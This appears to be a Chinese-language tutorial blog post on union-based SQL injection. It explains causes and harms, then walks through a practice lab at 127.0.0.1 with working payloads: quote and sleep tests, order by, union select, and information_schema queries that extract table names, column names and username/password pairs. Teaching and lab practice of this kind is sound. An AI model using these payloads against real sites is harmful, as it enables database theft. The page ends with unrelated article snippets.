二、SQL注入之联合查询
文章目录
- 1、SQL注入原理
- 2、SQL注入的原因
- 3、SQL注入的危害
- 4、SQL注入基础
- 4.1 MySQL相关
- 4.2 SQL注入流程:
- 5、联合注入实例基本步骤
- 6、总结
1、SQL注入原理
SQL注入(Sql Injection)就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
2、SQL注入的原因
- 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句;
- 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
3、SQL注入的危害
- 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
- 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
4、SQL注入基础
4.1 MySQL相关
在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:
4.2 SQL注入流程:
由于关系型数据库,具有明显的库/表/字段/字段内容结构层次,在对SQL注入漏洞的注入过程中获取数据库信息的时候,也可以按照这种顺序:
数据库名 ⟶ \longrightarrow ⟶表名 ⟶ \longrightarrow ⟶字段名 ⟶ \longrightarrow ⟶字段内容
手工注入流程:
- 寻找传参页面;
- 判断是否存在注入点;
- 字符型注入?
- 数字型注入?
- 判断字段的数量;
- 判断字段回显的位置;
- 查找数据库名、表名、字段名、字段内容;
- 登录后台。
(1)判断注入点
- and 1=1 / and 1=2 回显页面不同(整形判断)
- 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形、字符串类型判断)
- ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回显页面不同(字符型判断)
- and sleep(5)(判断页面返回时间,万能)
- 在SQL语句中,
and
的优先级比or
高。- SQL语句注释:
#
或者--[space]
或者--+
(2) SQL注入分类
- 根据注入点的数据类型,可分为:
- 数字型注入
- 字符型注入
❗️❗️❗️二者最大的区别在于:字符型需要闭合,整型不需要闭合。
- 根据数据库执行的结果,可分为(四大基本手法):
- 联合查询
- 报错注入
- 布尔盲注
- 延时注入
- 根据数据提交的方式,可分为:
- Get注入
- Post注入
- Cookie注入
- HTTP头部注入
- …
- 其他注入类型:
- base64注入
- 宽字节注入
- 搜索型注入
- 读写文件
- …
5、联合注入实例基本步骤
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION
或UNION ALL
。
(1)寻找传参页面,http://xxx.com/index.php?id=1
(2)判断注入点,127.0.0.1/sqli/less-1/index.php?id=1'
可以根据报错信息判断:如果是字符型注入,应该闭合什么符号,此处是闭合单引号。
(3)判断字段数量,order by
命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+
1后面的‘是为了闭合SQL语句中的引号
(4)判断回显位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+
(5)查数据库名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+
database()
:查看当前数据库名
(5)表名
- 查表名:
select group_concat(table_name) from information_schema.tables where table_schema='security'
- information_schema.tables:指定information_schema数据库中的tables表;
- table_schema字段:保存所有的数据库名;
- table_name字段:保存所有的表名;
- group_concat()函数:输出所有属于‘security’数据库的所有表
(6)字段名
- 查询字段名:
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
(7)字段内容
- 查询字段内容:
select group_concat(concat(username,'%23',password)) from security.users
concat()函数:拼接。例如:
concat(‘hello’,‘+’,‘world’) ⟶ \longrightarrow ⟶ 输出:hello+world
6、总结
sql注入的基本流程:
- 寻找传参页面;
- 判断是否存在注入点;
- 字符型注入?
- 数字型注入?
- 判断字段的数量;
- 判断字段回显的位置;
- 查找数据库名、表名、字段名、字段内容;
- 登录后台。
相关文章:
二、SQL注入之联合查询
文章目录 1、SQL注入原理2、SQL注入的原因3、SQL注入的危害4、SQL注入基础4.1 MySQL相关4.2 SQL注入流程: 5、联合注入实例基本步骤6、总结 1、SQL注入原理 SQL注入(Sql Injection)就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串&…...
Python爬虫入门 - 规则、框架和反爬策略解析
在当今信息爆炸的时代,爬虫技术成为了获取互联网数据的重要手段。对于初学者来说,掌握Python爬虫的规则、框架和反爬策略是迈向高效爬取的关键。本文将分享一些实用的经验和技巧,帮助你快速入门Python爬虫,并解析常见的反爬策略&a…...
【数据结构入门指南】二叉树
【数据结构入门指南】二叉树 一、二叉树的概念二、现实中的二叉树三、特殊的二叉树四、二叉树的性质五、二叉树的存储结构5.1 顺序结构5.2 链式结构 一、二叉树的概念 二叉树是一棵特殊的树。一棵二叉树是结点的一个有限集合,该节点: ①:或者…...
C++初阶——string(字符数组),跟C语言中的繁琐设计say goodbye
前言:在日常的程序设计中,我们会经常使用到字符串。比如一个人的身份证号,家庭住址等,只能用字符串表示。在C语言中,我们经常使用字符数组来存储字符串,但是某些场景(比如插入,删除)下操作起来很…...
Android Bitmap详解(下)之图片缓存详解
前言: 之前有出过俩篇关于bitmap相关的讲解,分别是Bitmap详解(上)常用概念和常用API和Bitmap详解(中)之像素级操作,今天主要是来一个系统的总结。 认识Bitmap: Bitmap是Android系统中的图像处理的最重要类之一。用它可以获取图像…...
020-从零搭建微服务-认证中心(九)
写在最前 如果这个项目让你有所收获,记得 Star 关注哦,这对我是非常不错的鼓励与支持。 源码地址(后端):https://gitee.com/csps/mingyue 源码地址(前端):https://gitee.com/csps…...
孤注一掷中的黑客技术
最近孤注一掷电影很火,诈骗团伙的骗术实在厉害,就连电影中的黑客潘生都未能幸免。电影中的陆经理说:不是我们坏, 是他们贪。这句话我觉得有一部分是对的,诈骗分子抓住了人的本性贪婪,才使得被骗的人逐步走向…...
机器学习笔记 - PyTorch Image Models图像模型概览 (timm)
一、简述 PyTorch Image Models (timm)是一个用于最先进的图像分类的库,包含图像模型、优化器、调度器、增强等的集合;是比较热门的论文及代码库。 虽然越来越多的低代码和无代码解决方案可以轻松开始将深度学习应用于计算机视觉问题,但我们经常与希望寻求定制解决方案的客户…...
Java 实现证件照底图替换,Java 实现照片头像底图替换
效果图 这里前端用layui实现的案例截图 color底图颜色可以在网页上这样取色 new Color(34, 133, 255) 实现案例下载链接:https://download.csdn.net/download/weixin_43992507/88237432...
周易卦爻解读笔记——未济
第六十四卦未济 火水未济 离上坎下 未济卦由否卦所变,否卦六二与九五换位,象征尚未完成。 天地否 未济卦和既济卦既是错卦又是覆卦,这也是最后一卦,序卦传【物不可穷也,故受之以未济终焉】 未济卦象征尚未完成&…...
AI 绘画Stable Diffusion 研究(十三)SD数字人制作工具SadTlaker使用教程
免责声明: 本案例所用安装包免费提供,无任何盈利目的。 大家好,我是风雨无阻。 想必大家经常看到,无论是在产品营销还是品牌推广时,很多人经常以数字人的方式来为自己创造财富。而市面上的数字人收费都比较昂贵,少则几…...
伦敦金走势图行情值得关注
不知道大家是否了解过伦敦金这个投资品种,或者有否财经网站以及金融终端上看到过它的行情走势图。其实,伦敦金并不是一种实实在在的黄金,而是一种跟踪伦敦现货黄金市场价格走势的黄金保证金交易品种,它每天的行情走势变化…...
机器学习之数据清洗
一、介绍 数据清洗是机器学习中的一个重要步骤,它涉及对原始数据进行预处理和修复,以使数据适用于机器学习算法的训练和分析。数据清洗的目标是处理数据中的噪声、缺失值、异常值和不一致性等问题,以提高数据的质量和准确性。 二、方法 处理…...
T599聚合物电容器:在汽车应用中提供更长的使用寿命的解决方案
自从电子技术被引入汽车工业以来,汽车的技术含量一直在提升。诸多技术被应用在汽车上,使汽车的形象更接近于轮子上的超级计算机。更多传感器、更强大的计算能力和电力被装载到汽车上,汽车应用中的电子产品数量正在迅速增长。随着电动汽车和自…...
学习ts(五)类
定义 是面向对象程序设计(OOP)实现信息封装的基础 类是一种用户定义的引用数据类型,也称类类型 JavaScript的class,虽然本质是构造函数,但是使用起来已经方便了许多,js中没有加入修饰符和抽象类等特性 ts的class支持面…...
EasyImage简单图床 - 快速搭建私人图床云盘同时远程访问【无公网IP内网穿透】
憧憬blog主页 在强者的眼中,没有最好,只有更好。我们是移动开发领域的优质创作者,同时也是阿里云专家博主。 ✨ 关注我们的主页,探索iOS开发的无限可能! 🔥我们与您分享最新的技术洞察和实战经验࿰…...
从SVG到Canvas:选择最适合你的Web图形技术
SVG 和 Canvas 都是可以在 Web 浏览器中绘制图形的技术。 众所周知, icon 通常使用 svg(如 iconfont),而交互式游戏采用 Canvas。二者具体的区别是什么?该如何选择? 声明式还是命令式?绘制的图形…...
基于 Redis 实现分布式限流
基于 Redis 实现分布式限流 一、 简介二、分布式限流1 数据结构1.1 Redis List1.2 Redis Set1.3 Redis Sorted Set 2 实现分布式限流3 实现原理分析 三、分布式限流算法1. 计数器算法2. 漏斗算法3. 令牌桶算法 四、分布式限流实战1. 单机限流实现2. 基于Redis Clusters的分布式…...
前端下载文件方式(Blob)
以下以下载图标svg文件为例,实现点击按钮下载文件,其中icon结构如下: const DownloadSvg (props) > {function download(downfile) {const tmpLink document.createElement("a");const objectUrl URL.createObjectURL(downfi…...
【STM32】FreeRTOS软件定时器学习
软件定时器 FreeRTOS提供了现成的软件定时器功能,可以一定程度上替代硬件定时器,但精度不高。 实验:创建一个任务,两个定时器,按键开启定时器,一个500ms打印一次,一个1000ms打印一次。 实现&…...
【LeetCode】复写零
复写零 题目描述算法描述编程代码 链接: 复写零 题目描述 算法描述 编程代码 class Solution { public:void duplicateZeros(vector<int>& arr) {int n arr.size();int dest -1,cur 0;while(cur < n){if(arr[cur]){dest;}else{dest2;}cur;if(dest > n-1){…...
使用docker-maven-plugin插件构建镜像并推送至私服Harbor
前言 如下所示,建议使用 Dockerfile Maven 插件,但该插件也停止维护更新了。因此先暂时使用docker-maven-plugin插件。 一、开启Docker服务器的远程访问 1.1 开启2375远程访问 默认的dokcer是不支持远程访问的,需要加点配置,开…...
YOLO目标检测——动漫头像数据集下载分享
动漫头像数据集是用于研究和分析动漫头像相关问题的数据集,它包含了大量的动漫风格的头像图像。动漫头像是指以动漫风格绘制的虚构人物的头像图像,常见于动画、漫画、游戏等媒体。 数据集点击下载:YOLO动漫头像数据集50800图片.rar...
学习Vue:Vue3 VS Vue2
Vue 3作为Vue.js的最新版本,带来了一系列令人激动的新特性和改进,让开发者们在构建现代Web应用时体验更加顺畅和高效。本文将全面介绍Vue 3相对于Vue 2的改进,重点解释Composition API的使用,以及新引入的Teleport和Suspense等特性…...
1.2亿成都市城市安全风险综合监测预警平台建设项目
导读:原文《1.2亿!成都市城市安全风险综合监测预警平台建设项目WORD》(获取来源见文尾),本文精选其中精华及架构部分,逻辑清晰、内容完整,为快速形成售前方案提供参考。 部分页面: …...
《树莓派4B家庭服务器搭建指南》第二十期:在树莓派运行rsnapshot, 实现对服务器数据低成本增量本地备份
title: 020《树莓派4B家庭服务器搭建指南》第二十期:在树莓派运行rsnapshot, 实现对服务器数据低成本增量本地备份 我的天翼云服务器有/opt 和 /usr/share/nginx两个目录, 用来存储网站的内容, 数据无价, 为了避免珍贵的数据丢失,我决定使用树莓派运行 …...
大数据 算法
什么是大数据 大数据是指数据量巨大、类型繁多、处理速度快的数据集合。这些数据集合通常包括结构化数据(如数据库中的表格数据)、半结构化数据(如XML文件)和非结构化数据(如文本、音频和视频文件)。大数据…...
html | 基于iframe的简易富文本编辑器
效果图 支持: 选中后 ctrlI 斜体 代码 思路就是在iframe种嵌套html和css。 <pre> - 支持: 选中后 ctrlI 斜体 - todo: 鼠标实现单击斜体 </pre> <iframe name"richedit" style"height:30%; width:100%;"></iframe><script…...
HJ108 求最小公倍数
描述 正整数A和正整数B 的最小公倍数是指 能被A和B整除的最小的正整数值,设计一个算法,求输入A和B的最小公倍数。 数据范围:1≤a,b≤100000 1≤a,b≤100000 输入描述: 输入两个正整数A和B。 输出描述: 输出A和B…...
JVM - 垃圾收集器
目录 垃圾收集器 串行垃圾收集器 并行垃圾收集器 什么是 吞吐量优先 什么是 响应时间优先 ? CMS(并发)垃圾收集器 G1 垃圾收集器 垃圾收集器 垃圾收集器大概可以分为: 串行垃圾收集器并行垃圾收集器CMS(并发&a…...
北京专业做网站推广/百度导航如何设置公司地址
索引是对数据库中的一列或多列进行排序的一种数据结构;下面通过单列索引和多列索引分析什么场景下可以走到索引,什么情况下又不会走到索引在进行查询时,索引列不能是表达式的一部分,也不能是函数的参数,否则无法使用索…...
烟台高端网站建设公司/新媒体运营需要哪些技能
这里select classno 班级, avg(score) 平均分 into avgScore就出现了问题,改为 create or replace procedure myproc(classno1 i执行insert的时候出现这个错误。insert into 表1 values (123,2423,12);表1的结构有4个column,显然插入的值只有三个&#x…...
网站建设延期报告/推推蛙品牌策划
前言部分 1、本文是以cocos2d-x-lua项目为例说明的。 2、我这里只说下我自己遇到的问题和解决方法,当大家也遇到时可以参考下。 3、我所使用的cocos2d-x版本是cocos2d-2.1rc0-x-2.1.3,这个版本使用的是luajit,而不是源生的lua,lua…...
润滑油网站建设/长沙网络推广外包费用
dhtml动态HTML(简称DHTML)是一组Web开发技术的名称,这些技术主要用于具有非平凡用户输入功能的Web页面。 DHTML意味着处理HTML文档的文档对象模型,在样式信息中摆弄CSS指令,并使用客户端JavaScript脚本将所有内容绑定在…...
网站建设与管理设计/网络推广和运营的区别
在阅读代码时,遇到了非常早之前用过的fseek(),非常久没实用了,有点陌生,写出来以便下次查阅。 函数功能是把文件指针指向文件的开头,须要包括头文件stdio.h fseek 函数名: fseek 功 能: 重定位流上的文件指针 用 法: int fs…...
wordpress读者墙不显示/全网营销系统是干什么的
12.1 Linux内置命令概述 Linux里有一些特殊的命令,称为内置命令(直接内置在BASH解释器中),它们天生就与其他的普通命令不同,因为它们从系统启动成功的那一刻就已经在内存里安家了。 当其他普通命令还在慢悠悠地…...